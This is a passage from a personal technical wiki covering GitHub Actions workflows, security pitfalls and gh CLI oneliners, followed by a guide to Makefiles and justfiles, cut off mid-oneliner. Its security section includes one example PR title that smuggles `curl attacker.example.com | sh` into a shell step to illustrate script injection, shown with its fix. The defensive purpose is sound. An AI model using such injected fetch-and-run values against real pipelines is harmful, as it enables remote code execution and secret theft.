`repo:/:pull_request` for PRs. A wildcard on the repository lets any repository in the organisation assume the role. See [AWS](https://www.wiki.jodisand.me/aws/) for the CLI side. ## Concurrency and environments ```yaml concurrency: group: deploy-${{ inputs.env }} cancel-in-progress: false # queue deploys; never cancel one half way ``` One group runs one job at a time and, by default, keeps only one pending run: a third run replaces the queued second one. `queue: max` keeps up to 100 pending runs in order and cannot be combined with `cancel-in-progress: true`. PR workflows normally use `cancel-in-progress: true` keyed on `github.ref` so a new push cancels the stale run. Environments add required reviewers, wait timers, branch and tag restrictions, and their own secrets and variables. A job with `environment: production` pauses for approval before any step runs and its OIDC `sub` claim carries the environment name, which is what the AWS trust policy above checks. ```yaml environment: name: production url: https://my-app.example.com # shown on the deployment ``` ## gh CLI for runs and logs ```sh gh run list --workflow ci.yml --status failure --limit 10 gh run list --json databaseId,conclusion,headBranch,event --jq '.[] | select(.conclusion=="failure") | .databaseId' gh run view 123456789 # jobs and their status gh run view 123456789 --log-failed # only the steps that failed gh run view 123456789 --job 987654321 --log # one job, every line gh run view 123456789 --log | grep -n '##\[error\]' gh run watch 123456789 --exit-status # block, exit non-zero on failure gh run rerun 123456789 --failed gh run download 123456789 --dir ./artifacts gh workflow run deploy.yml --ref main -f env=production -f dry_run=false gh api repos/{owner}/{repo}/actions/runs/123456789/timing ``` Runner and step debug logs need the `ACTIONS_STEP_DEBUG` and `ACTIONS_RUNNER_DEBUG` secrets or variables set to `true`, or `gh run rerun --debug`, which sets them for one run. ## Self-hosted runners A self-hosted runner is a process that polls GitHub for jobs matching its labels. It keeps state between jobs unless it is ephemeral, so anything a job leaves on disk, including credentials in `~/.docker/config.json` or a cloned repository, is visible to the next job. Never attach a persistent self-hosted runner to a public repository; a PR from a fork can run code on it. ```yaml runs-on: [self-hosted, linux, x64, gpu] # every label must match runs-on: group: build-large # runner group, org-level access control labels: [linux] ``` ```sh ./config.sh --url https://github.com/my-org --token "$RUNNER_TOKEN" --ephemeral --labels linux,x64 --unattended ./svc.sh install && ./svc.sh start # systemd unit for the runner gh api orgs/my-org/actions/runners --jq '.runners[] | "\(.name)\t\(.status)\t\(.busy)"' ``` `--ephemeral` deregisters the runner after one job; pair it with an autoscaler (actions-runner-controller on [Kubernetes](https://www.wiki.jodisand.me/kubernetes/), or a VM pool) so each job lands on a fresh machine. Runner tokens from `config.sh` expire in an hour and only register; the runner then authenticates with a generated key. ## Example workflows ### Go test and release ```yaml name: go on: push: branches: [main] tags: ["v*"] pull_request: permissions: { contents: read } concurrency: group: ${{ github.workflow }}-${{ github.ref }} cancel-in-progress: ${{ github.event_name == 'pull_request' }} jobs: test: runs-on: ubuntu-latest timeout-minutes: 15 steps: - uses: actions/checkout@v7 - uses: actions/setup-go@v7 with: { go-version-file: go.mod, cache: true } - run: go vet ./... - run: go test -race -coverprofile=cover.out ./... - uses: golangci/golangci-lint-action@v9 with: { version: latest } release: needs: test if: startsWith(github.ref, 'refs/tags/v') runs-on: ubuntu-latest timeout-minutes: 30 permissions: contents: write # upload release assets id-token: write # cosign keyless signing steps: - uses: actions/checkout@v7 with: { fetch-depth: 0 } # goreleaser needs the tag history for the changelog - uses: actions/setup-go@v7 with: { go-version-file: go.mod, cache: true } - uses: goreleaser/goreleaser-action@v7 with: distribution: goreleaser version: "~> v2" args: release --clean env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} ``` ### Container build and push ```yaml name: image on: push: branches: [main] tags: ["v*"] pull_request: permissions: { contents: read } env: IMAGE: ghcr.io/${{ github.repository }} jobs: image: runs-on: ubuntu-latest timeout-minutes: 30 permissions: contents: read packages: write id-token: write attestations: write steps: - uses: actions/checkout@v7 - uses: docker/setup-buildx-action@v4 - uses: docker/login-action@v4 if: github.event_name != 'pull_request' with: registry: ghcr.io username: ${{ github.actor }} password: ${{ secrets.GITHUB_TOKEN }} - id: meta uses: docker/metadata-action@v6 with: images: ${{ env.IMAGE }} tags: | type=ref,event=branch type=ref,event=pr type=semver,pattern={{version}} type=sha - id: build uses: docker/build-push-action@v7 with: context: . platforms: linux/amd64,linux/arm64 push: ${{ github.event_name != 'pull_request' }} # PRs build only tags: ${{ steps.meta.outputs.tags }} labels: ${{ steps.meta.outputs.labels }} cache-from: type=gha cache-to: type=gha,mode=max provenance: mode=max - uses: actions/attest-build-provenance@v4 if: github.event_name != 'pull_request' with: subject-name: ${{ env.IMAGE }} subject-digest: ${{ steps.build.outputs.digest }} push-to-registry: true ``` `type=gha` stores BuildKit layers in the Actions cache, keyed by the Dockerfile stage. Deploy by digest (`${{ steps.build.outputs.digest }}`), not by the `sha-` tag, so the manifest that was tested is the one that runs. See [Docker](https://www.wiki.jodisand.me/docker/) for the Containerfile side. ### Hugo deploy to GitHub Pages ```yaml name: pages on: push: { branches: [main] } workflow_dispatch: permissions: { contents: read } concurrency: { group: pages, cancel-in-progress: false } jobs: build: runs-on: ubuntu-latest timeout-minutes: 10 steps: - uses: actions/checkout@v7 with: { submodules: recursive, fetch-depth: 0 } # themes as submodules; history for lastmod - uses: peaceiris/actions-hugo@v3 with: { hugo-version: latest, extended: true } - id: pages uses: actions/configure-pages@v6 - run: hugo --gc --minify --baseURL "${{ steps.pages.outputs.base_url }}/" env: { HUGO_ENVIRONMENT: production } - uses: actions/upload-pages-artifact@v5 with: { path: ./public } deploy: needs: build runs-on: ubuntu-latest permissions: pages: write id-token: write environment: name: github-pages url: ${{ steps.deployment.outputs.page_url }} steps: - id: deployment uses: actions/deploy-pages@v5 ``` Pages must be set to "GitHub Actions" as the source in repository settings, or `deploy-pages` fails with a 404 on the deployment API. ## Security pitfalls > [!WARNING] pull_request_target > `pull_request_target` runs in the context of the base branch with write permissions and secrets, and then people check out `github.event.pull_request.head.sha` to "test the PR". That runs the fork's code with the repository's secrets. Use `pull_request` for anything that executes contributor code. If `pull_request_target` is unavoidable (labelling, commenting), never check out or build the head ref in it, and set `permissions:` to the minimum. Script injection: an expression inside `run:` is substituted as text before the shell parses it. Any field an outsider controls (PR title, branch name, commit message, issue body, review comment) is a command injection vector. ```yaml - run: echo "Title: ${{ github.event.pull_request.title }}" # title `"; curl attacker.example.com | sh; echo "` runs - run: echo "Title: $TITLE" # safe: the value never touches the shell parser env: TITLE: ${{ github.event.pull_request.title }} ``` Pin third-party actions to a full commit SHA with the tag in a comment; tags can be moved. Dependabot or Renovate keep the SHA and comment in step. ```yaml - uses: actions/checkout@ # v7.0.1 ``` Resolve the SHA for a tag with `gh api repos/actions/checkout/commits/v7.0.1 --jq .sha`. ```yaml ``` Other rules that matter in practice: restrict which actions may run at the organisation level (verified creators plus an allow-list), require approval for first-time contributors, never `echo` a secret through a transform, do not use `GITHUB_TOKEN` with `write-all`, and do not run `curl | sh` from a URL you do not control. Artifacts are downloadable by anyone with read access to the repository, so an artifact containing a `.env` or a kubeconfig is a leak. Cache entries can be poisoned from a PR branch only for that branch, but a compromised default-branch cache is trusted by every branch; restore caches by exact key in release jobs. ## Oneliners ```sh # IDs of the failed runs on main in the last day gh run list --branch main --status failure --created "$(date -u -d '1 day ago' +%F)" --json databaseId --jq '.[].databaseId' # Re-run every failed run of a workflow gh run list --workflow ci.yml --status failure --json databaseId --jq '.[].databaseId' | xargs -n1 gh run rerun --failed # Delete runs older than 30 days (destructive; removes logs and artifacts) gh run list --limit 500 --json databaseId,createdAt --jq '.[] | select(.createdAt < (now - 30*86400 | todate)) | .databaseId' | xargs -n1 gh run delete # Slowest jobs in the last 50 runs gh run list --limit 50 --json databaseId --jq '.[].databaseId' | xargs -I{} gh api repos/{owner}/{repo}/actions/runs/{}/jobs --jq '.jobs[] | "\(.name)\t\((.completed_at|fromdate) - (.started_at|fromdate))s"' | sort -t$'\t' -k2 -nr | head # Every action referenced in the repository, with versions grep -rhoE 'uses: *[^ ]+' .github | sort | uniq -c | sort -rn # Actions not pinned to a SHA grep -rnE 'uses: *[^ ]+@(v[0-9]|main|master)' .github/workflows # Cache usage and the biggest entries gh cache list --limit 50 --sort size --order desc # Delete every cache (safe; next run rebuilds) gh cache delete --all # Trigger a dispatch workflow and follow it gh workflow run deploy.yml -f env=staging && sleep 5 && gh run watch "$(gh run list --workflow deploy.yml --limit 1 --json databaseId --jq '.[0].databaseId')" --exit-status # Workflow file on the default branch, as GitHub sees it gh api repos/{owner}/{repo}/contents/.github/workflows/ci.yml --jq .content | base64 -d # Lint every workflow, including shellcheck of run: blocks actionlint # Check which OIDC claims a job would present (from a job with id-token: write) curl -sH "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com" | jq -r .value | cut -d. -f2 | base64 -d 2>/dev/null | jq . # Runner load across the organisation gh api orgs/my-org/actions/runners --paginate --jq '.runners[] | select(.status=="online") | "\(.name)\t\(.busy)"' # Artifacts of a run with sizes gh api repos/{owner}/{repo}/actions/runs/123456789/artifacts --jq '.artifacts[] | "\(.name)\t\(.size_in_bytes)"' # Print the event payload from inside a job jq . "$GITHUB_EVENT_PATH" # Job summary table from inside a job { echo '| Test | Result |'; echo '| --- | --- |'; echo "| unit | $RESULT |"; } >> "$GITHUB_STEP_SUMMARY" ``` ## Scripts Report workflows whose last run on the default branch failed, for a morning check across an organisation. ```sh #!/usr/bin/env bash set -euo pipefail org=${1:?org required} gh repo list "$org" --limit 200 --no-archived --json nameWithOwner,defaultBranchRef --jq '.[] | "\(.nameWithOwner)\t\(.defaultBranchRef.name)"' | while IFS=$'\t' read -r repo branch; do gh run list -R "$repo" --branch "$branch" --limit 20 --json workflowName,conclusion,url,createdAt | jq -r --arg repo "$repo" ' group_by(.workflowName) | map(sort_by(.createdAt) | last) | .[] | select(.conclusion == "failure") | "\($repo)\t\(.workflowName)\t\(.url)"' done ``` Rotate a secret across every repository that has it, reading the new value from stdin once. ```sh #!/usr/bin/env bash set -euo pipefail org=${1:?org required}; name=${2:?secret name required} value=$(cat) # read once; never on the command line [[ -n $value ]] || { echo "empty value" >&2; exit 1; } gh repo list "$org" --limit 500 --no-archived --json nameWithOwner --jq '.[].nameWithOwner' | while read -r repo; do if gh secret list -R "$repo" --json name --jq '.[].name' | grep -qx "$name"; then printf '%s' "$value" | gh secret set "$name" -R "$repo" printf 'rotated %s in %s\n' "$name" "$repo" fi done ``` Find unpinned or outdated actions in a repository and print the SHA for the tag currently in use. ```sh #!/usr/bin/env bash set -euo pipefail grep -rhoE 'uses: *[A-Za-z0-9_.-]+/[A-Za-z0-9_.-]+(/[^@ ]+)?@[^ #]+' .github | sed 's/uses: *//' | sort -u | while IFS=@ read -r action ref; do repo=${action%%/*}/${action#*/}; repo=${repo%%/*/*} # owner/name, drop any sub-path if [[ $ref =~ ^[0-9a-f]{40}$ ]]; then continue; fi sha=$(gh api "repos/$repo/commits/$ref" --jq .sha 2>/dev/null || echo unresolved) printf '%s@%s\t%s\n' "$action" "$ref" "$sha" done ``` ## Troubleshooting | Symptom | Cause | Fix | | --- | --- | --- | | Workflow does not trigger | Filter mismatch, workflow file not on the triggering ref, or push made with `GITHUB_TOKEN` | `gh api repos/{owner}/{repo}/actions/workflows` to see state; check `branches`/`paths`; use an App token for bot pushes | | `Resource not accessible by integration` | `GITHUB_TOKEN` lacks the permission, or the event is a fork PR | Add the permission under `permissions:`; for forks, move the write to a `workflow_run` job | | Secret is empty in a step | Fork PR, environment secret without `environment:`, or reusable workflow without `secrets: inherit` | `gh secret list --env`; check `github.event.pull_request.head.repo.fork` | | `The process '/usr/bin/git' failed with exit code 128` | Checkout of a private submodule or another repository without a token | `with: { token: ${{ secrets.PAT }} }` or a deploy key | | Cache never hits | Key includes something that changes every run, or the cache was written on another branch | `gh cache list`; key on `hashFiles('**/go.sum')`; warm on the default branch | | `No space left on device` | 14 GB runner disk filled by Docker layers or the Go build cache | `docker system prune -af`, or `rm -rf /usr/share/dotnet /opt/ghc` at the start of the job | | Step passes but should have failed | Shell without `pipefail`, or `continue-on-error` | `shell: bash` (default `-eo pipefail`), remove `continue-on-error`, check `steps..outcome` | | Matrix job runs with the wrong value | Numbers such as `1.10` parsed as YAML floats | Quote versions: `["1.10", "1.27"]` | | `Unable to resolve action, repository not found` | Private action, typo, or the organisation's action allow-list | Check settings under Actions permissions; grant access in the action repository's settings | | Deploy job skipped with no error | A `needs` dependency was skipped, or `if:` referenced a context that was empty | `gh run view --json jobs`; use `if: ${{ !cancelled() && needs.build.result == 'success' }}` | | OIDC `Not authorized to perform sts:AssumeRoleWithWebIdentity` | Trust policy `sub` does not match the branch or environment, or `id-token: write` missing | Decode the token (oneliner above) and compare `sub` to the policy | | Job queued for a long time | No online runner with every requested label, or concurrency group full | `gh api orgs/my-org/actions/runners`; check `concurrency` | | Logs missing the reason for a failure | Error printed by a nested tool without `::error::` | `gh run rerun --debug`, then `gh run view --log \| grep -n '##\[debug\]'` | | `Error: Process completed with exit code 137` | Runner out of memory (7 GB on the standard Linux runner) | Reduce parallelism (`go test -p 2`), or use a larger runner | ## Further reading - [Workflow syntax](https://docs.github.com/en/actions/reference/workflows-and-actions/workflow-syntax) - [Contexts and expressions](https://docs.github.com/en/actions/reference/workflows-and-actions/contexts) - [Events that trigger workflows](https://docs.github.com/en/actions/reference/workflows-and-actions/events-that-trigger-workflows) - [Security hardening for GitHub Actions](https://docs.github.com/en/actions/reference/security/secure-use) - [OIDC in AWS](https://docs.github.com/en/actions/how-tos/secure-your-work/security-harden-deployments/oidc-in-aws) - [gh run](https://cli.github.com/manual/gh_run) --- # Make and just > Write Makefiles that rebuild only what changed and justfiles that run project commands: rules, variables, pattern rules, parallel builds and the tab bugs. Canonical: https://www.wiki.jodisand.me/make/ Reviewed: 2026-09-24 Related: [Bash](https://www.wiki.jodisand.me/bash/index.md), [Go](https://www.wiki.jodisand.me/go/index.md), [Docker](https://www.wiki.jodisand.me/docker/index.md), [GitHub Actions](https://www.wiki.jodisand.me/github-actions/index.md) ## Cheatsheet | Task | Command | | --- | --- | | Build the default target | `make` | | Build a specific target | `make build` | | Dry run: print commands without running | `make -n build` | | Parallel build using all cores | `make -j"$(nproc)"` | | Parallel with grouped output per target | `make -j8 -O` | | Keep going after an error | `make -k` | | Force rebuild of everything | `make -B` | | Override a variable | `make build VERSION=1.2.3` | | Run in another directory | `make -C ./api test` | | Use a different file | `make -f build.mk` | | Show why a target is being rebuilt | `make --debug=b build` | | Print the full database of rules and variables | `make -p -n \| less` | | Print one variable's value | `make -s print-VERSION` (with the rule below) | | Warn on undefined variables | `make --warn-undefined-variables` | | List targets | `make -pRrq : 2>/dev/null \| awk -F: '/^[a-zA-Z0-9][^$#\/\t=]*:([^=]\|$)/ {print $1}' \| sort -u` | | List just recipes | `just --list` or `just -l` | | Run a just recipe with arguments | `just deploy staging` | | Show a recipe's commands | `just --show deploy` | | Evaluate a just variable | `just --evaluate version` | | Dry run a just recipe | `just --dry-run deploy` | | Format a justfile | `just --fmt --unstable` | | Pick a recipe interactively | `just --choose` | Behaviour below is GNU make 4.4 and `just` 1.40 or later unless a version is given. macOS ships GNU make 3.81; run `make --version` and install a newer one from Homebrew (`gmake`) if any 4.x feature is needed. References: the [GNU make manual](https://www.gnu.org/software/make/manual/make.html) and the [just manual](https://just.systems/man/en/). ## How make decides what to run Make reads a Makefile of rules. A rule says: this target is made from these prerequisites by this recipe. When asked for a target, make recursively brings each prerequisite up to date, then runs the recipe if the target file does not exist or is older than any prerequisite. Everything else in the language exists to generate those rules concisely. ```make target: prerequisite1 prerequisite2 recipe line # begins with a literal TAB, not spaces another line # each line runs in its own shell ``` Three consequences shape every Makefile. A target that is not a file (`test`, `clean`) has no timestamp, so mark it `.PHONY` or make will report "nothing to be done" the day a file called `test` appears. A recipe that does not create the target it names runs on every invocation. Each recipe line runs in a separate `/bin/sh -c`, so `cd dir` on one line has no effect on the next; chain with `&&` or use `.ONESHELL`. ```make .PHONY: all build test clean all: build test build: bin/my-app # phony alias for a real file target bin/my-app: $(wildcard *.go) go.sum # rebuilt only when a source or go.sum changed go build -o $@ . clean: rm -rf bin/ # deletes build output ``` ## Variables ```make VERSION ?= $(shell git describe --tags --always --dirty) # ?= only if not already set (env or command line) GOFLAGS := -trimpath # := expands now, once LDFLAGS = -X main.version=$(VERSION) # = expands every time it is used (recursive) CGO_ENABLED ::= 0 # POSIX spelling of := BIN := bin/my-app CFLAGS += -Wall # append override CFLAGS += -O2 # append even when CFLAGS came from the command line export GOFLAGS # pass to recipe shells ``` `=` variables are re-expanded on every reference, which is how `$(LDFLAGS)` above picks up a `VERSION` set later, and also how `X = $(shell slow-command)` becomes a slow command run dozens of times. Use `:=` for anything with `$(shell ...)` or `$(wildcard ...)`. Precedence: command-line `make VAR=x` beats a Makefile assignment (unless `override`), which beats an environment variable, which beats `?=`. `make -e` reverses environment and Makefile, and is a bad idea. ```make test: GOFLAGS += -race # target-specific: applies to test and everything it triggers test: go test $(GOFLAGS) ./... print-%: # make print-VERSION shows the value @echo '$*=$($*)' ``` `$(VAR)` and `${VAR}` are identical to make; `$VAR` is `$(V)` followed by `AR`. In recipes, a shell variable needs `$$`: `for f in *.go; do echo $$f; done`. ## Automatic variables | Variable | Meaning | | --- | --- | | `$@` | The target | | `$<` | The first prerequisite | | `$^` | All prerequisites, deduplicated, without order-only ones | | `$+` | All prerequisites, with duplicates | | `$?` | Prerequisites newer than the target | | `$*` | The stem matched by `%` in a pattern rule | | `$\|` | Order-only prerequisites | | `$(@D)`, `$(@F)` | Directory and file part of `$@`; same for `$<`, `$^`, `$*` | ```make %.o: %.c %.h | build/ # after | : order-only; created if missing, timestamp ignored $(CC) $(CFLAGS) -c $< -o $@ build/: mkdir -p $@ docs/%.html: docs/%.md pandoc $< -o $@ OBJS := $(patsubst %.c,%.o,$(wildcard src/*.c)) my-app: $(OBJS) $(CC) -o $@ $^ ``` Order-only prerequisites (after `|`) are the right way to depend on a directory: a directory's mtime changes whenever a file is added to it, so a normal prerequisite on `build/` would rebuild every object every time. ## Pattern and static pattern rules A pattern rule (`%.o: %.c`) applies to any target matching it. A static pattern rule limits it to a listed set: ```make $(OBJS): %.o: %.c # only the files in OBJS, built from their .c $(CC) -c $< -o $@ ``` Make has a large set of built-in rules (`.c` to `.o`, and so on). They slow down search and occasionally do surprising things; disable them in projects that do not use them: ```make MAKEFLAGS += --no-builtin-rules --no-builtin-variables .SUFFIXES: ``` ## Functions ```make SRCS := $(wildcard cmd/*/main.go) CMDS := $(patsubst cmd/%/main.go,bin/%,$(SRCS)) # cmd/api/main.go -> bin/api NAMES := $(notdir $(patsubst %/main.go,%,$(SRCS))) # api worker UPPER := $(shell echo $(NAMES) | tr a-z A-Z) HAS_GO := $(if $(shell command -v go),yes,) PLATS := linux/amd64 linux/arm64 OSES := $(foreach p,$(PLATS),$(firstword $(subst /, ,$(p)))) FILTERED := $(filter-out %_test.go,$(wildcard *.go)) SORTED := $(sort $(NAMES)) # also deduplicates ifeq ($(HAS_GO),) $(error go is not installed) endif ifneq ($(origin CI),undefined) # variable came from the environment GOFLAGS += -mod=readonly endif define build-cmd # multi-line macro, used with call/eval bin/$(1): cmd/$(1)/main.go go build -o $$@ ./cmd/$(1) endef $(foreach n,$(NAMES),$(eval $(call build-cmd,$(n)))) ``` `$(shell)` output has newlines converted to spaces. `$(info text)` prints while parsing and is the fastest way to debug a variable; `$(warning)` adds the file and line; `$(error)` stops. `$(file >name,text)` writes a file from within make, useful for long argument lists that exceed the shell limit. `$(value VAR)` shows the unexpanded definition. ## Includes, directories and recursion ```make include config.mk # error if missing -include local.mk # silently skipped if missing include $(wildcard mk/*.mk) config.mk: config.mk.in # make remakes included files first, then restarts ./configure ``` For a multi-directory project, one top-level Makefile that includes per-directory fragments keeps the full dependency graph in one process and lets `-j` work across it. Recursive `$(MAKE) -C dir` splits the graph, so make cannot know that `lib/` must finish before `app/` unless you order the targets; use `$(MAKE)` rather than `make` so `-j`, `-n` and `-k` propagate through the jobserver. ```make SUBDIRS := lib app .PHONY: $(SUBDIRS) app: lib # explicit ordering between subdirectory targets $(SUBDIRS): $(MAKE) -C $@ ``` ## Silent, parallel and the special targets ```make .DEFAULT_GOAL := build # instead of "first rule wins" .DELETE_ON_ERROR: # remove a target whose recipe failed; otherwise a half-written file looks up to date .ONESHELL: # whole recipe in one shell; cd and variables persist between lines .SHELLFLAGS := -eu -o pipefail -c # with .ONESHELL, otherwise only the last line's status counts SHELL := bash .SILENT: clean # no echo for these targets; @ does it per line .NOTPARALLEL: # serialise this whole Makefile (rarely right; fix the dependencies instead) .SECONDARY: # keep intermediate files .PRECIOUS: %.o # keep even when interrupted .EXTRA_PREREQS := Makefile # every target also depends on the Makefile (4.3+) ``` `@` in front of a recipe line stops make echoing it; `-` ignores its failure. `make -s` silences everything; `make -j` runs independent targets in parallel and only works when prerequisites are declared correctly, which is why a build that passes serially and fails with `-j` has a missing dependency, not a make bug. `make --shuffle` (4.4+) randomises prerequisite order to find those. `.WAIT` between two prerequisites (4.4+) forces order in one prerequisite list without adding a dependency edge: ```make all: build .WAIT test # test does not start until build is done, even with -j ``` `-O` (`--output-sync`) groups the output of each target so parallel logs are readable. Interrupting a parallel make with Ctrl-C leaves any target that was being written; `.DELETE_ON_ERROR` covers that. ## A Makefile for a Go project ```make SHELL := bash .SHELLFLAGS := -eu -o pipefail -c .DEFAULT_GOAL := build .DELETE_ON_ERROR: MAKEFLAGS += --warn-undefined-variables --no-builtin-rules MODULE := $(shell go list -m) NAME := $(notdir $(MODULE)) VERSION ?= $(shell git describe --tags --always --dirty 2>/dev/null || echo dev) COMMIT := $(shell git rev-parse --short HEAD 2>/dev/null || echo none) DATE := $(shell date -u +%Y-%m-%dT%H:%M:%SZ) LDFLAGS := -s -w -X main.version=$(VERSION) -X main.commit=$(COMMIT) -X main.date=$(DATE) GOFILES := $(shell find . -name '*.go' -not -path './vendor/*') BIN := bin/$(NAME) PLATFORMS := linux/amd64 linux/arm64 darwin/arm64 export CGO_ENABLED ?= 0 .PHONY: build build: $(BIN) ## Build for the host platform $(BIN): $(GOFILES) go.mod go.sum | bin/ go build -trimpath -ldflags '$(LDFLAGS)' -o $@ . bin/ dist/: mkdir -p $@ .PHONY: release release: $(foreach p,$(PLATFORMS),dist/$(NAME)-$(subst /,-,$(p))) ## Cross-compile every platform dist/$(NAME)-%: $(GOFILES) go.mod go.sum | dist/ GOOS=$(word 1,$(subst -, ,$*)) GOARCH=$(word 2,$(subst -, ,$*)) \ go build -trimpath -ldflags '$(LDFLAGS)' -o $@ . .PHONY: test lint vet fmt tidy cover test: ## Unit tests with the race detector go test -race -count=1 ./... cover: ## Coverage report in the browser go test -coverprofile=cover.out ./... && go tool cover -html=cover.out vet: go vet ./... lint: vet ## golangci-lint (must be installed) golangci-lint run ./... fmt: gofmt -l -w $(GOFILES) tidy: go mod tidy git diff --exit-code go.mod go.sum # fails in CI when tidy changed something .PHONY: run run: $(BIN) $(BIN) $(ARGS) .PHONY: clean clean: ## Remove build output rm -rf bin/ dist/ cover.out .PHONY: help help: ## Show this help @awk 'BEGIN {FS = ":.*##"} /^[a-zA-Z0-9_-]+:.*##/ {printf " %-12s %s\n", $$1, $$2}' $(MAKEFILE_LIST) ``` `go build` already tracks its own dependencies and caches, so the `$(GOFILES)` prerequisite exists only to skip the `go build` call when nothing changed; the cost of getting it wrong is a spurious rebuild, never a stale binary. `-count=1` bypasses the test cache. The `help` target reads the `##` comments; keep them on the same line as the target. ## A Makefile for a container project ```make SHELL := bash .SHELLFLAGS := -eu -o pipefail -c .DEFAULT_GOAL := help .DELETE_ON_ERROR: ENGINE ?= $(shell command -v podman || command -v docker) REGISTRY ?= registry.example.com/my-team NAME := my-app VERSION ?= $(shell git describe --tags --always --dirty) IMAGE := $(REGISTRY)/$(NAME) PLATFORMS ?= linux/amd64,linux/arm64 CONTEXT := . SOURCES := Containerfile $(shell git ls-files src/ 2>/dev/null) .PHONY: build push run shell scan lint clean help build: .build-$(VERSION) ## Build the image for the host platform .build-$(VERSION): $(SOURCES) # stamp file: rebuild only when sources change $(ENGINE) build --pull -t $(IMAGE):$(VERSION) -t $(IMAGE):latest \ --label org.opencontainers.image.version=$(VERSION) \ --label org.opencontainers.image.revision=$(shell git rev-parse HEAD) \ -f Containerfile $(CONTEXT) rm -f .build-* touch $@ push: build ## Push version and latest tags (writes to the registry) $(ENGINE) push $(IMAGE):$(VERSION) $(ENGINE) push $(IMAGE):latest multiarch: ## Multi-arch manifest with podman $(ENGINE) build --platform $(PLATFORMS) --manifest $(IMAGE):$(VERSION) -f Containerfile $(CONTEXT) $(ENGINE) manifest push --all $(IMAGE):$(VERSION) run: build ## Run locally on port 8080 $(ENGINE) run --rm -it -p 8080:8080 -v ./config:/etc/my-app:Z,ro $(IMAGE):$(VERSION) shell: build $(ENGINE) run --rm -it --entrypoint sh $(IMAGE):$(VERSION) lint: ## Lint the Containerfile hadolint Containerfile scan: build ## Vulnerability scan trivy image --exit-code 1 --severity HIGH,CRITICAL $(IMAGE):$(VERSION) clean: ## Remove local image and stamp files -$(ENGINE) rmi $(IMAGE):$(VERSION) $(IMAGE):latest rm -f .build-* help: @awk 'BEGIN {FS = ":.*##"} /^[a-zA-Z0-9_-]+:.*##/ {printf " %-12s %s\n", $$1, $$2}' $(MAKEFILE_LIST) ``` Images are not files, so the stamp file pattern gives make a timestamp to compare. The leading `-` on `rmi` lets `clean` succeed when the image is already gone. See [Docker](https://www.wiki.jodisand.me/docker/) for the Containerfile itself. ## justfile `just` runs recipes; it does not track files or timestamps. Every recipe runs every time it is asked for. That removes `.PHONY`, tab-versus-space traps and stale-target surprises, and makes it the better fit for "project commands" (`just test`, `just deploy staging`) as opposed to builds where incremental rebuilds matter. ```just # Comments above a recipe become its --list description set shell := ["bash", "-euo", "pipefail", "-c"] set dotenv-load # read .env into the environment set positional-arguments # recipe args also as $1, $2 in the body name := "my-app" version := `git describe --tags --always --dirty` # backticks: evaluated once at load registry := env("REGISTRY", "registry.example.com/my-team") # env with default image := registry / name + ":" + version # / joins paths, + concatenates # Default recipe when just is run with no arguments default: @just --list # Build the binary build: go build -trimpath -ldflags '-X main.version={{version}}' -o bin/{{name}} . # Run tests; pass extra flags: just test -run TestFoo test *args: go test -race -count=1 ./... {{args}} # Deploy to an environment [confirm("Deploy to production?")] deploy env="staging": build ./scripts/deploy.sh "{{env}}" "{{version}}" # Build and push the container image [group("image")] push: (image-build "linux/amd64") podman push {{image}} [group("image")] image-build platform: podman build --platform {{platform}} -t {{image}} -f Containerfile . # Wipe build output [no-exit-message] clean: rm -rf bin/ dist/ # Runs in the recipe's own directory rather than the justfile's [no-cd] _helper: pwd [private] _internal: echo hidden from --list # A recipe written in another language [script("python3")] report: import json, sys print(json.dumps({"name": "{{name}}", "version": "{{version}}"})) # Platform-specific variants of one recipe [linux] open: xdg-open http://localhost:8080 [macos] open: open http://localhost:8080 ``` Indentation in a justfile can be spaces or tabs, as long as one recipe is consistent. `{{expr}}` interpolates just expressions; `$VAR` is a shell variable and passes through unchanged. Each recipe line runs in its own shell like make, unless the recipe starts with a shebang (`#!/usr/bin/env bash`), in which case the whole body is one script. Recipes prefixed with `_` are hidden from `--list`; `[private]` does the same for any name. Parameters: `deploy env="staging"` gives a default; `test *args` accepts zero or more; `+args` requires one or more. Dependencies with arguments use parentheses: `push: (image-build "linux/amd64")`. `&&` after a recipe name declares dependencies that run after it. Recipes can also be invoked from a recipe body with `just other-recipe`. Useful settings, all set with `set name` or `set name := value`: | Setting | Effect | | --- | --- | | `shell` | Interpreter for recipe lines; `["bash", "-euo", "pipefail", "-c"]` for strict mode | | `dotenv-load`, `dotenv-path` | Load `.env` (or a named file) before running | | `export` | Export every just variable as an environment variable | | `positional-arguments` | Recipe parameters also arrive as `$1`, `$2` | | `working-directory` | Run recipes somewhere other than the justfile's directory | | `fallback` | Search parent directories when a recipe is not found | | `allow-duplicate-recipes` | Later definitions override earlier ones (for imports) | | `quiet` | Do not echo recipe lines, same as `@` on every line | | `ignore-comments` | Treat `#` lines in recipe bodies as comments, not commands | Functions worth knowing: `env("NAME")`, `env("NAME", "default")`, `justfile_directory()`, `invocation_directory()`, `os()`, `arch()`, `path_exists("f")`, `shell("cmd")`, `datetime("%F")`, `uuid()`, `sha256_file("f")`, `without_extension("a.tar")`, `trim()`, `replace()`, `uppercase()`. Modules: `mod ci` loads `ci.just` or `ci/mod.just` and exposes `just ci::lint`; `import 'shared.just'` inlines a file. ```sh just --list # recipes with their doc comments, grouped just --summary # names only, for completion scripts just --show deploy # recipe source after expansion just --evaluate # every variable's value just --evaluate image just --dry-run deploy production # print the commands just --set version 1.2.3 build # override a variable just version=1.2.3 build # same, shorter just --justfile ../justfile --working-directory . test just --fmt --unstable # rewrite the justfile in canonical format just --fmt --check --unstable # CI: fail if not formatted just --choose # fzf picker just --completions zsh > ~/.zfunc/_just ``` ## When to use which Use make when outputs are files and the point is to skip work: compiling, generating code, rendering documents, building images from a stamp. The dependency graph and `-j` are the feature. Use `just` when the point is a discoverable, documented set of commands with arguments, and every run should run: tests, deploys, linting, container lifecycle, developer onboarding. Many repositories carry both: a Makefile for the build graph and a justfile whose recipes call `make` for the incremental parts. A justfile is also a better fit for scripts that need arguments, confirmation prompts, `.env` loading or a non-shell language, all of which are awkward in make. Portability: `make` is on every Linux and macOS machine (as GNU make 3.81 on macOS, which lacks `.ONESHELL` semantics from 3.82, `$(file)`, `.EXTRA_PREREQS` and `.WAIT`). `just` is a single binary that must be installed (`dnf install just`, `brew install just`, `cargo install just`) and its `--fmt` is still behind `--unstable`. ## Oneliners ```sh # Which make and version make --version | head -1 # Why is this target rebuilding make --debug=b bin/my-app 2>&1 | grep -E 'Must remake|newer than' # Dry run showing the exact commands, including those hidden by @ make -n 